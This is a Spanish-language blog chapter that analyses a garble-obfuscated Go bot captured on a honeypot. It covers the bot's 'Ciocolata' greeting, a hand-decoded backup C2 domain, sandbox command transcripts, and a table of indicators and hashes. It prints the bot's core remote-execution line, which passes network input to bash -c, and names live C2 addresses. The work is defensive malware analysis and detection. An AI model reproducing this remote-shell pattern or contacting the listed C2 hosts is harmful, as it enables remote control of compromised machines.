DIICOT · Capítulo 33
DIICOT: Sabor Ciocolata
Casi tres megas que hacen una sola cosa: llamar a casa, decir dos palabras y esperar diez segundos a que alguien conteste. Si nadie lo hace, se va sin dejar rastro. Pero dentro, cifrada de otra forma, lleva una segunda dirección: un dominio que nadie ha registrado. Y el resto del programa cabe en una línea de shell.
En el capítulo 28, el último de esta familia, la cartera no viajaba con el bicho: se descargaba después, de un sitio que ya estaba muerto. Este empieza en el cebo, y el bicho llegó en mano.
El 15 de octubre, una dirección del rango 77.239.124.0/24 acertó la contraseña de root tras unos mil cien intentos, con un cliente escrito en Go. Lo de después ya lo conocemos de la serie. Preguntó por la tarjeta gráfica, barrió a la competencia y apuntó en /tmp/d.log la contraseña con la que había entrado. Luego subió dos ficheros por scp: uno con nombre aleatorio en /var/tmp, que ejecutó en el acto, y otro que dejó en /tmp/cache.
Minuto y medio después, la máquina cebo abrió una conexión al puerto 222 de 91.92.47.220 y dijo dos cosas: Ciocolata y su propio nombre. Nadie le contestó; el sumidero anota, pero no contesta. Diez minutos más tarde la máquina se recicló, y el extractor guardó lo que había quedado en disco. Entre ello, cache.
Desempaquetado, eran casi tres megas que en el informe automático del laboratorio parecían poca cosa: un proceso, ochenta y cuatro eventos, diez segundos de vida. Lo habría archivado si no fuera por la dirección a la que llamaba. Era 91.92.47.220. En el capítulo 27, esa misma máquina era el vecino de arranque de la malla, en el puerto 8081. Aquí la llamaban al 222.
Lo que sigue es lo que cabe en esos diez segundos, y lo que hay detrás, que es bastante más.
01Diez segundos
Detonada en la jaula, la muestra hace esto y nada más:
0,000 exec /tmp/134823c73b8d
0,001 tres hilos # el planificador de Go, no el bicho
0,002 connect 91.92.47.220:222
0,015 → Ciocolata # 10 bytes
0,015 → bait-vm # el nombre de la máquina
0,015 … espera. no llega nada.
10,018 exit(0)Ni un fichero escrito, ni persistencia, ni un vistazo a /proc, ni una contraseña buscada. Se presenta con dos palabras, espera diez segundos y, si nadie le contesta, se va como si nada. Para un informe automático, casi un bicho aburrido.
Las dos palabras son lo único que dice, así que merecen una mirada. Ciocolata es una etiqueta: chocolate en rumano, tal cual se escribe sin el acento final, ciocolată. En italiano le faltaría una ce. No atribuye nada por sí sola, pero no es una falta de ortografía. La segunda, a primera vista, parecía otra etiqueta: algo así como el tipo de máquina que cree haber infectado.
02Un fichero que no dice nada
De qué está hecho lo dicen sus secciones: .gopclntab, .go.buildinfo. Es Go. Pero quien lo compiló se tomó molestias para que eso sirviera de poco:
versión de Go "unknown" # go version no dice nada
tabla de líneas cabecera 1cbc1062 # Go nunca ha usado ese valor
paquetes 30 con nombre inventado # oDrjXk4_25p, pkFTkaly, h4RWg8…
funciones 2.776 de 3.389 sin nombre
textos unas tres mil tiras legibles # casi todas del motor de GoEsa cabecera reescrita tiene su gracia: los datos de la tabla están intactos, pero la mayoría de las herramientas que leen binarios de Go buscan primero ese número para saber qué versión tienen delante. Al no reconocerlo, no leen nada. Se rompe la cerradura sin tocar el contenido.
Y los textos: todos cifrados. Los del programa y los de la biblioteca estándar de Go que lleva dentro: mensajes de error de red, nombres de ficheros, todo. Es el mismo truco del capítulo 27: cada texto viaja cifrado y se descifra justo antes de usarse. Solo se salvan los del propio motor de Go, que el ofuscador no puede tocar porque hacen falta antes de que haya nada montado. Por eso las tres mil tiras que saca la herramienta de textos son casi todas mensajes de pánico del motor, y del bicho solo quedan palabras sueltas de tres o cuatro letras.
La versión, que no está en ningún sitio, la acaba delatando el propio motor: lleva ficheros que solo existen desde cierta edición de Go, y otros que desaparecen en la siguiente. Con eso, Go 1.22: deducido, no leído.
Pero esas palabras sueltas son una rendija:
en claro tcp %s -c bash
cifrado no such host /dev/stdin 127.0.0.1:53 /etc/hostsCifrar un texto cuesta código, y para tres letras no compensa: el ofuscador deja en claro lo corto. Y lo corto es justo lo que delata. bash y -c, juntos, en un programa que habla por red, solo pueden querer decir una cosa.
03Leer sin nombres
Con 2.776 funciones sin nombre, leer el código función a función es perder la tarde. Pero hay algo que el ofuscador no puede quitar: la tabla que dice dónde empieza cada función, porque el propio motor de Go la necesita para funcionar. Con eso y las llamadas entre unas y otras, el programa se reconstruye solo, como un plano de metro al que le han borrado los nombres de las estaciones pero en el que todavía se ven las líneas.
Y algunas estaciones conservan el nombre. El ofuscador no se atreve con los métodos que el programa puede usar a través de interfaces, así que sobreviven .Start, .Run, .CombinedOutput. Tres métodos de un mismo tipo, y en Go ese tipo solo puede ser uno: el que lanza programas. Subiendo desde la llamada al sistema que ejecuta algo, la cadena sale sola:
execve # el kernel
← forkAndExecInChild # 22 llamadas al sistema en una sola función
← forkExec
← os.StartProcess
← (*Cmd).Start
← (*Cmd).Run
← (*Cmd).CombinedOutput
← main.main # la función principal: 2.656 bytesLa función principal son 2.656 bytes; con sus ayudantes, el bot entero no llega a 7 KB. El resto de los casi tres megas es Go. Y en la principal está la línea que importa, leída instrucción a instrucción:
out, _ := exec.Command("bash", "-c", linea).CombinedOutput()Lee una línea de la conexión, se la pasa a bash y devuelve todo lo que salga, errores incluidos.

Captura: el bucle enteroGhidra

04Descifrarlo a mano
La palabra con la que compara es Ciocolata. Y aquí el capítulo 27 me había dejado una receta: no descifres, deja que lo haga él y léele la memoria. Esta vez no funcionó.
El laboratorio fotografía la memoria del bicho cuando empieza a hablar por la red. En la foto está la dirección y está el nombre de la máquina. Ciocolata no está. El programa la descifra en un rincón, la escribe en la conexión y reutiliza ese rincón: vive unos milisegundos. Así que tocó el camino lento.
cifrado a6 a9 44 27 f0 66 b3 6c f7 87 # metido dentro de la propia instrucción
clave 63 40 d5 c4 81 fa 52 f8 96 7d # en otra parte del fichero
──────────────────────────────
resta C i o c o l a t a \nEl texto cifrado no está en ninguna tabla: va incrustado en las instrucciones, como si fuera un número cualquiera. La clave, en otro sitio. Y la operación es una resta, byte a byte. La segunda vez que el programa usa la misma palabra, el ofuscador eligió otra clave y otra operación: un XOR. La tercera, otra distinta: un baile de posiciones. Tres cifrados para una sola palabra, y en todo el binario hay cientos así, cada uno con su clave y su operación.
05Una dirección que el laboratorio no vio
Leyendo el arranque de main.main apareció algo que la detonación no había enseñado: el bot no tiene una dirección. Tiene dos.
conecta a 91.92.47.220:222 # 5 segundos de plazo
¿falla? → construye una segunda dirección
conecta a ella # otros 5 segundos
¿falla también? → se vaEn la jaula la primera siempre funcionaba (el sumidero del laboratorio acepta cualquier conexión), así que la segunda no llegó a existir nunca en memoria. Para verla había que sacarla del fichero.
Y el ofuscador la cifró con otro de sus trucos. No hay texto cifrado ni bucle: hay un único cierre, una función minúscula que se devuelve a sí misma, llamado 29 veces seguidas, cada vez con un número pequeño. En cada llamada añade una letra al resultado, arrastrando un estado de una a la siguiente. Leído el código, el truco cabe en tres líneas:
K = 0x12 # estado inicial, grabado en el código
por cada número n de la cadena:
escribe (n - K) mod 256
K = (K + n) mod 256
122 -5 -5 -25 -43 108 33 52 107 -50 -96 71 -111 35
56 115 -19 -33 -72 103 -35 116 40 71 -99 0 -8 -16 -32
↓
hotel.wildhorsehotnet.net:222 # un dominio, y el mismo puertoA la primera me salté un número, el cero. El compilador no lo escribe como los demás, y mi buscador solo reconocía la forma de los otros veintiocho, así que me salía el dominio pegado al puerto, sin los dos puntos. El cero es justo el que los pone.
Captura: un cierre, 29 llamadasGhidra
Leerlo es una cosa. Pero para publicar un dominio con nombre y apellidos, no basta con haberlo leído.
Así que se lo pregunté al bicho. En la jaula le cerré la puerta de la primera dirección (que la conexión rebotara en vez de entrar) y lo dejé correr:
connect 91.92.47.220:222 → rechazada
DNS A hotel.wildhorsehotnet.net
DNS AAAA hotel.wildhorsehotnet.net
exit(0) # a los 5 segundos, sin llegar a conectarCon la primera dirección abierta, el bicho nunca pregunta por ese nombre. Con la primera cerrada, lo pregunta, letra por letra igual que lo que descifré a mano. Dos caminos que no comparten nada, y el mismo resultado. Ahora sí. A la segunda dirección no llegó a conectarse: se le acabaron los cinco segundos esperando la respuesta del DNS. Que después conecte lo dice el código; eso no lo he visto.
Y es la parte del capítulo que más me gusta, porque ninguna fuente lo enseña: hay que sacarlo del binario. Ninguna puede enseñar un dominio que todavía nadie ha comprado, aunque la muestra lleve en VirusTotal desde el 14 de octubre al alcance de cualquiera que quiera abrirla. Para quien defiende hay además una oportunidad evidente (un dominio que nadie tiene se puede tener antes), pero eso es una decisión con sus implicaciones legales, no un botón.
06Hablarle, en la jaula
Quedaba lo que hace de verdad, que en la detonación no se vio porque nadie le contestó. Así que le contesté yo: un servidor de mentira dentro de la jaula, con un guion.
El primer intento salió mal, y es la parte más útil. Le mandé una orden en cuanto se presentó. No la ejecutó. Siguió esperando, y a los treinta segundos volvió a decir Ciocolata. Mi lectura del código estaba mal en un detalle: la primera línea que manda el servidor no se ejecuta, solo lo despierta. Es un «¿estás ahí?» cuyo texto da igual. Las órdenes van de la segunda en adelante.
Con eso aprendido, usé su propio latido como reloj y le mandé una orden distinta en cada uno:
0,0 bot → Ciocolata
0,0 → echo MARK_BARE_1; id # 1ª línea: lo despierta, no se ejecuta
0,0 bot → bait-vm
30,0 bot → Ciocolata # el latido
30,0 → echo MARK_BARE_2; id
30,0 bot → MARK_BARE_2 · uid=0(root) gid=0(root) # ejecutado
60,0 → Ciocolata echo MARK_PFX_SP; id
60,0 bot → bash: line 1: Ciocolata: command not found · uid=0(root) …Tres cosas quedan probadas, ya no deducidas. Ejecuta lo que le mandes, con los permisos de quien lo arrancó: aquí, root, que es como cae en el cebo. Es bash literal: ese bash: line 1: es su huella inconfundible. Y no hay contraseña: la palabra Ciocolata pegada a una orden no autoriza nada; bash intenta ejecutarla como si fuera un programa y sigue con lo demás.
Y los diez segundos del principio cambian de significado. No son un plazo por orden: son lo que espera a que su amo diga la primera palabra. En el código se ve tal cual: pone el plazo, lee la primera línea, no la usa para nada y borra el plazo. Despierto, aguantó huecos de treinta segundos sin irse, hasta que lo paré yo.
Captura: diez segundos, una sola vezGhidra
07Lo que no hace
En cinco detonaciones, el único sitio al que llama es su servidor, y el DNS cuando busca la reserva. No barre direcciones, no prueba contraseñas, no deja una puerta abierta para que le entren: ni siquiera lleva la llamada al sistema que acepta conexiones. No mina, ni trae minero. No es un gusano: es un ejecutor remoto. Un mando a distancia con una sola tecla.
08Indicadores
Los de la máquina a la que llama, la versión anterior y la familia van en el capítulo siguiente. Estos son los del bicho.
| Tipo | Valor |
|---|---|
| C2 principal | 91.92.47.220:222 (TCP, texto plano; AS197170 TechTies) |
| C2 de reserva | hotel.wildhorsehotnet.net:222 (sin registrar en noviembre de 2026: reserva dormida) |
| Nombre en disco | /tmp/cache, comprimido con UPX |
| Saludo | Ciocolata\n y después el nombre de la máquina con \n, en dos envíos |
| Latido | Ciocolata cada 30 s, de salida · según el código, si lo manda el servidor no se ejecuta nada |
| Ejecución | bash -c <línea>, con los privilegios del proceso (en los casos vistos, root); devuelve la salida y los errores · la primera línea del servidor se descarta · las líneas vacías tampoco se ejecutan |
| Plazos | 5 s por intento de conexión · unos 10 s esperando la primera palabra del servidor · latido cada 30 s |
| Construcción | Go 1.22 ofuscado con garble, textos cifrados uno a uno; cabecera de la tabla de líneas reescrita (1cbc1062) |
| SHA-256 muestra | 134823c73b8ddb571ea2c2887292ec8fa5d830a9f91ad2a8c33ac2c4cd3796c1 |
| SHA-256 (comprimida) | 0980b29bdac6b74fb3a4875a3215373c4ea392bc4a60a7bf931ad888ba063741 (cache, la que se descomprime en la de arriba) |
| TLSH | 76D54B13BCE50895C4FEA271952A8222FA747C480B3523DF6B90B7781F337E19976B91 (para buscarle hermanas) |
La detección más barata de todas: una conexión saliente al puerto 222 cuyo primer dato es Ciocolata. Un fichero llamado cache en /tmp que no es de ningún programa conocido. Y en un servidor, un proceso que lanza bash -c con lo que le llega por la red y devuelve la salida por el mismo sitio.
Continuará - la dirección a la que llama ya la conocía: en el capítulo 27 era la semilla de la malla. Tirando de ese hilo sale el resto de la familia, y también por qué el bicho tira la primera línea sin mirarla. 🍯


Comentarios